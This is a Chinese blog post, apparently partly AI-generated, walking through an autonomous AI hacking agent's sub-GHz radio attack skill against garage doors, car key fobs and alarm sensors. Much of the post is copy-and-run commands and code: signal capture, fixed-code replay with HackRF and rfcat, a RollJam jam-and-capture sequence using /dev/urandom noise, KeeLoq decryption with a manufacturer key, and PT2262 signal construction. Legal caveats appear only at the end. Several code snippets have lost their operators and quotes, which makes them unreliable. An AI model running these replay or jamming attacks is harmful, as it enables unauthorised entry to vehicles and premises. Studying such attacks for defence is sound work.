Decepticon Sub-GHz ISM 波段攻击技能实战:433/868/915 MHz 信号捕获、分析、重放与滚动码破解
【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载Decepticon 在packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md中内置了一套面向 IoT 无线链路的专项技能针对 433/868/915 MHz ISM 波段目标车库门、汽车遥控钥匙、报警传感器、气象站等的射频信号捕获与重放。本文将完整拆解该技能的五个攻击阶段——被动捕获、信号分析、固定码重放、滚动码KeeLoq/HiTag2分析与 OOK 协议信号构造并结合 Decepticon 的 Agent 装配、load_skill技能加载机制与知识图谱证据沉淀实现给出可直接复制运行的命令与代码。技能定位何时该加载 sub-ghz 技能该技能文件以 YAML frontmatter 声明自身元数据遵循仓库统一的 SKILL.md 规范name、description、metadata.subdomain、metadata.when_to_use、metadata.mitre_attack均为必填字段由 CI 中的python -m decepticon.skill_audit校验。name: sub-ghz description: Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification. allowed-tools: Bash Read Write metadata: subdomain: iot when_to_use: sub-GHz, 433 MHz, 868 MHz, 915 MHz, HackRF, Flipper Zero, RTL-SDR, rfcat, inspectrum, Universal Radio Hacker, URH, replay, rolling code, fixed code, garage door, keyfob, OOK, ASK, FSK, ISM band, YARD Stick One tags: sub-ghz, 433mhz, replay, hackrf, flipper, rtlsdr, rfcat, iot, rf mitre_attack: T1040, T1557, T1190这段元数据在运行时被 Decepticon 的技能中间件消费middleware/skills.py 中的SkillsMiddleware会按metadata.subdomain此处为iot对技能目录分组把description与mitre_attack技术编号内联渲染进系统提示词并把when_to_use作为触发关键词供 Agent 做目标匹配。也就是说当任务描述中出现 433 MHz、HackRF、rolling code、OOK 等关键词时Agent 就会通过load_skill()按需加载本技能全文再开始操作。从 MITRE ATTCK 视角看本技能覆盖了三个技术点T1040网络嗅探/信号嗅探捕获、T1557中间人攻击对应 RollJam 的干扰窃听组合与T1190利用面向公众的应用对应智能家居/门禁系统这类暴露面。在仓库的 IoT 技能总目录 中sub-ghz 与 BLE、Zigbee、Z-Wave、LoRaWAN 并列于无线侧信道分组专门负责 433/868/915 MHz 这一频段链路。在 Agent 装配层面iot_operator.py 将/skills/standard/iot/与/skills/shared/声明为_SKILL_SOURCES并挂载了kg_add_node、kg_query、cve_lookup等标准工具。该文件头部注释明确列出 sub-GHz 的工具有rtl_433 / hackrf / gqrx同时提醒默认 OSS sandbox 不包含射频硬件BLE/Zigbee/sub-GHz 工作需要将 SDR 或无线电 dongle 透传进沙箱固件静态分析则无需硬件。前置条件硬件与软件选型技能文档给出的硬件矩阵覆盖了从最便宜的纯接收到最灵活的收发一体的完整梯度硬件频段/能力定位HackRF One1 MHz–6 GHzTXRX20 Msps最通用捕获与重放均可Flipper Zerosub-GHz 模块300–928 MHz现场重放最快的设备RTL-SDR Blog v4仅接收24 MHz–1766 MHz成本最低的捕获方案YARD Stick One300–928 MHzCC1111 平台TXRX可脚本化rfcatProxmark3车钥匙 HiTag2 分析、NFC独立工作负载软件侧需要rfcat、inspectrum、Universal Radio HackerURH、rtl_433、GNU Radio、hackrf_transfer、SigDigger以及作为树莓派发射备选方案的rpitx。安装命令如下注意rtl_433也可从上游源码自行构建# Install rfcat (YARD Stick One / CC1111 based tools): pip install rfcat # Install rtl_433 (auto-decodes hundreds of 433 MHz devices): apt install rtl-433 # Universal Radio Hacker: pip install urh # inspectrum (IQ file visualization): apt install inspectrum频率与调制速查表ISM 波段看似简单但不同区域、不同设备族使用了截然不同的频率与调制方式先建立频段地图能大幅缩短识别时间频率区域/用途常见调制433.92 MHzEU/AS 车库、钥匙扣、传感器OOK-PWM、OOK-Manchester315 MHz美式车库门、老式钥匙扣OOK-PWM868.35 MHzEU 报警器、智能电表、LoRa 重叠区FSK、OOK915 MHzUS ISMLoRa、传感器、电表FSK、OOK303 MHzUS TPMS胎压监测、部分车钥匙OOK868.95 MHzKNX、部分家庭自动化FSK值得注意的是 433.92 MHz 是欧洲/亚洲车库与传感器的事实标准频点而 315 MHz 和 303 MHz 则常见于北美——错误的频点假设是初学者最常犯的错误先做频谱扫描再聚焦单频点会高效得多。第一阶段被动捕获与信号识别RTL-SDR纯接收RTL-SDR 无法发射因此这一阶段完全无射频暴露风险是最安全的侦察入口# Wideband spectrum survey — see whats broadcasting in the ISM band: rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq # Auto-decode known 433 MHz devices (weather stations, door sensors, etc.): rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json # For continuous monitoring and logging: rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json参数说明-f指定中心频率Hz-s为采样率-g为增益dB-F json让rtl_433以 JSON 输出自动解码结果-R 0关闭内置协议库中不必要的解码器-M utc为时间戳附加 UTC 时区——持续监控并记录日志时这套组合非常实用。HackRF 捕获HackRF 的hackrf_transfer直接把 IQ 采样落盘供后续在 inspectrum/URH 中离线分析# Capture 10 seconds of IQ at 433.92 MHz: hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000 # For 868 MHz EU targets: hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000-r为接收落盘路径-l为 LNA 增益dB-g为 VGA 增益-n为采样总数2 Msps × 10 秒恰好 2000 万采样。10 秒足够捕捉多组遥控信号脉冲串。Flipper Zero最快的现场方法Flipper Zero 将捕获压缩到三个菜单动作Sub-GHz → Frequency Analyzer识别活跃频率。Sub-GHz → Read捕获并把信号存入 flash。Sub-GHz → Read Raw保存原始 IQ 供后续分析。# Via Flipper CLI (qFlipper / USB serial): # Export captured signals: flipper_tx read /ext/subghz/captures/signal_001.sub第二阶段inspectrum 与 URH 信号分析拿到 IQ 文件后可视化是破译编码的第一步# Visualize IQ capture in inspectrum (shows spectrogram symbol clock): inspectrum /tmp/433_capture.iq -r 2000000 # Open in URH for automatic modulation detection and bit decoding: urh /tmp/433_capture.iq # URH auto-detection: Signal → Autodetect parameters → shows encoding # (OOK, FSK, PSK), bit rate, and decoded bits.inspectrum 以频谱图 符号时钟视图呈现 IQURH 则提供Autodetect parameters一键识别调制类型、比特率并还原比特流。技能文档要求重点确认四个参数调制方式OOK开关键控 有信号/无信号两种幅度FSK 两个频率跳变。比特率在 inspectrum 中测量脉冲宽度典型 OOK 遥控器为 1000–4000 bps。编码PWM脉冲宽度调制、Manchester、NRZ、双相biphase等。前导码通常是交替的 01010101 或一段长载波突发。这四个参数直接决定下一阶段重放或构造信号时的调制参数、码率与帧结构。第三阶段固定码重放固定码设备无滚动机制的老式门禁、遥控器只要抓到一个有效码字即可无限重放。文档给出三种实现路径。用 HackRF 重放# Replay a captured signal exactly as recorded: hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R # -R repeat # Trim the IQ file to a single clean burst before replaying: python3 - EOF import numpy as np iq np.fromfile(/tmp/433_capture.iq, dtypenp.int8) # Find signal burst (amplitude threshold): amplitude np.abs(iq[0::2].astype(float) 1j * iq[1::2].astype(float)) threshold amplitude.max() * 0.3 start np.argmax(amplitude threshold) - 100 end len(amplitude) - np.argmax(amplitude[::-1] threshold) 100 burst iq[start*2:end*2] burst.tofile(/tmp/433_burst_trimmed.iq) print(fBurst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)) EOF hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47-t指定待发射的 IQ 文件-x为 TX 增益dB-x 47约为天线后 0 dBm 输出-R表示循环重复发射。原始捕获往往包含前导噪声与多段重复脉冲直接整文件发射会浪费功率窗口——上面这段 Python 用幅度阈值定位首个信号突发并裁出干净的单脉冲段np.abs(iq[0::2] 1j*iq[1::2])把 int8 IQ 交错采样重组为复信号求幅值*0.3作为突发检测阈值。用 YARD Stick One / rfcatrfcat 以 Python API 驱动 CC1111 平台适合精确控制调制参数后逐比特构造信号import rflib, time d rflib.RfCat() d.setFreq(433920000) # 433.92 MHz d.setMdmModulation(rflib.MOD_ASK_OOK) d.setMdmDRate(1000) # 1000 bps — adjust to target d.setMdmSyncMode(0) # no sync word d.setPktPktLen(50) # raw mode # Transmit a manually crafted OOK bitstream (hex encoded): # Garage door fixed code example (Princeton PT2262 style): # Preamble 24-bit code: payload bytes.fromhex(AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00) d.RFxmit(datapayload, repeat5) print([] Transmitted fixed code.)关键 API 逐一说明setFreq设载波频率setMdmModulation(rflib.MOD_ASK_OOK)选择 OOK 调制ASK 家族setMdmDRate设数据率需与目标匹配否则解码失败setMdmSyncMode(0)关闭同步字setPktPktLen(50)进入原始字节模式。示例载荷是 PT2262 风格前导码 24 位三态编码repeat5连续发射 5 次以提高接收成功率。用 Flipper Zero用Sub-GHz → Read捕获并保存后进入已保存文件目录选择Send即可发射该信号。这是现场操作最快的路径。第四阶段滚动码分析KeeLoq / HiTag2现代车钥匙与高端车库门普遍使用滚动码计数器随每次按键递增接收端跟踪上次使用的计数因此重放旧码必然失败。技能文档列出三条攻击路径1. RollJamSamy KamkarDEF CON 232015核心思想干扰合法信号并同时捕获它再干扰并捕获第二次然后释放第一个捕获码的同时扣住第二个。接收端看到码 N接受而 N1 被攻击者扣在手中形成持续进入的窗口。# RollJam requires simultaneous jam capture on a single SDR with TX capability. # HackRF: transmit noise on 433.92 MHz to jam while recording with a second receiver. # Jammer (HackRF): hackrf_transfer -t /dev/urandom -f 433920000 -s 2000000 -x 40 JAMMER_PID$! # Capture on RTL-SDR simultaneously: rtl_sdr -f 433920000 -s 2000000 -g 40 /tmp/capture_while_jamming.iq sleep 5 # Stop jammer; victim retransmits; capture second code: kill $JAMMER_PID实现要点HackRF 以/dev/urandom作为数据源发射噪声实现干扰RTL-SDR 并行接收记录停止干扰后受害者的第二次重试信号会被捕获为第二个码。注意RollJam 构成对合法通信的蓄意干扰jamming在所有司法辖区都需要明确的法律授权详见后文 OPSEC。2. KeeLoq 暴力破解若厂商密钥已泄露或为默认值可结合序列号推导每设备密钥并预测后续码# keeloq-tools: git clone keeloq_tools 上游仓库 python3 keeloq_tools/keeloq_decrypt.py \ --manufacturer-key AABBCCDDEEFF0011 \ --serial 12345678 \ --ciphertext DEADBEEF--manufacturer-key传入厂商主密钥16 hex 字节--serial为设备序列号--ciphertext为捕获到的滚动码密文。3. 大重同步窗口重放部分接收端接受超前重同步窗口内的码最多可达 256 个码。如果你在车主使用某码之前捕获了它只要仍在窗口内即可重放成功——这属于时间窗利用无需密码学破解。第五阶段针对特定协议的 OOK 信号构造PT2262当目标使用已知固定编码器如 Chamberlain/LiftMaster 的 PT2262时可以从零构造 OOK-PWM 信号而不必依赖原始捕获。PT2262 是三态编码器0/1/F24 位OOK-PWM 调制# PT2262 encoder: tristate (0/1/float), 24 bits, OOK-PWM. # Bit timings: 0 short pulse long gap, 1 long pulse short gap, F mediummedium BIT_RATE 1000 # Hz SHORT int(2e6 / BIT_RATE / 3) # samples LONG SHORT * 3 def encode_pt2262(tristate_code: str, sample_rate2_000_000) - bytes: Encode a PT2262 tristate code to OOK IQ (int8). iq [] for bit in tristate_code: if bit 0: iq [127] * SHORT [0] * LONG elif bit 1: iq [127] * LONG [0] * SHORT elif bit F: iq [127] * SHORT [0] * SHORT # Add stop bit and silence: iq [127] * SHORT [0] * (LONG * 31) return bytes(iq)时序逻辑0 短脉冲 长间隔1 长脉冲 短间隔F悬空 中脉冲 中间隔SHORT按2e6 / BIT_RATE / 3计算采样数即把 1000 bps 的一个符号周期三等分。函数末尾追加停止位与 31 个长间隔的静默段保证帧边界清晰。该函数产出的 int8 IQ 字节串可直接喂给hackrf_transfer -t或 rfcat 发射。证据收集与知识图谱沉淀Decepticon 要求每个技术动作都留下可审计的证据。技能文档给出了标准的证据落地流程EVIDENCE/workspace/evidence/sub-ghz/$(date %Y%m%d_%H%M%S) mkdir -p $EVIDENCE cp /tmp/433_capture.iq $EVIDENCE/ cp /tmp/rtl433_decode.json $EVIDENCE/ sha256sum $EVIDENCE/* $EVIDENCE/sha256.txt按时间戳建目录、拷贝原始 IQ 与解码结果、用sha256sum固化哈希防止事后篡改。这与仓库的 本地证据契约 相呼应——该契约规定证据引用必须落在evidence/等白名单目录、路径必须为规范的相对 POSIX 路径。随后把结果沉淀进知识图谱供后续迭代与链式规划复用kg_add_node( kindfinding, labelfSub-GHz fixed-code replay success at {target_freq_mhz} MHz, props{ key: fsub-ghz::{target_freq_mhz}::{target_id}, frequency_mhz: target_freq_mhz, modulation: OOK-PWM, code_type: fixed, # or rolling replay_success: True, hardware: HackRF One, source: hackrfrtl433, }, )kg_add_node在源码中定义于 tools/research/tools.py它接受kind、label与propsJSON 字符串通过Node.make()在知识图谱中 upsert 节点并要求在props内提供确定性key用于去重。本技能使用的kindfinding与 NODE KINDS 枚举中的finding一致frequency_mhz、modulation、code_type、hardware、source作为结构化属性进入图库之后kg_query/kg_neighbors可按频点或调制类型检索历史发现。OPSEC 与法律边界技能文档明确划定了被动与主动行为的法律分界线RTL-SDR 纯被动不发射任何信号侦察阶段零法律风险。任何发射行为HackRF、YARD Stick One、Flipper Zero 发射在大多数司法辖区都受限于你已获许可的频率或免许可功率范围。433.92 MHz 在欧盟 ≤10 mW 免许可915 MHz 在美国类似FCC Part 15。高功率重放hackrf_transfer -x 47约为天线后 0 dBm 输出处于 Part 15 限值内但仍需与交战规则RoE确认。RollJam 属于蓄意干扰在所有司法辖区均构成 jamming必须有明确法律授权。Flipper Zero 固件限制sub-GHz 模块可发射但固件会限制区域 ISM 波段之外的频率使用前需确认固件版本。车钥匙重放受美国 CFAA 及等同法律约束只允许在自有车辆或获得明确书面同意的车辆上测试。这些约束与 Decepticon 的 交战规则RoE 思路一致技术可行不等于被授权任何主动发射前都应先确认目标归属与授权范围。延伸阅读仓库内技能全文sub-ghz/SKILL.mdIoT 技能总目录与工作流standard/iot/SKILL.md含 sub-ghz 在固件 无线协同作战中的定位Agent 装配agents/standard/iot_operator.py_SKILL_SOURCES与工具挂载技能加载工具tools/skills.pyload_skill的实现与/skills/路径解析技能中间件middleware/skills.py按 subdomain 分组、MITRE 标签渲染SKILL.md 编写规范docs/skill-schema.md证据契约docs/tools/local-evidence-contract.md赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐claude-red 无线攻击技能深度解析LoRaWANOTAA/ABP与 Sub-GHz433/868/915 MHz攻击实战方法论claude red 无线攻击技能深度解析LoRaWANOTAA/ABP与 Sub GHz433/868/915 MHz攻击实战方法论 本指南以 clAI 技能网络安全渗透测试红蓝对抗应用安全CAI Sub-GHz SDR Agent基于 HackRF One 的射频信号分析与重放攻击实践指南CAI Sub GHz SDR Agent基于 HackRF One 的射频信号分析与重放攻击实践指南 本文是 CAICybersecurity AI框架人工智能AI Agent网络安全渗透测试工具调用AI 评测Flipper Zero 捕获 Isuzu 卡车遥控钥匙信号Sub-GHz RAW 文件解析与回放实战Flipper Zero 捕获 Isuzu 卡车遥控钥匙信号Sub GHz RAW 文件解析与回放实战 本篇技术指南围绕本仓库 Sub GHz/Vehicle渗透测试网络安全应用安全嵌入式硬件开发物联网创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考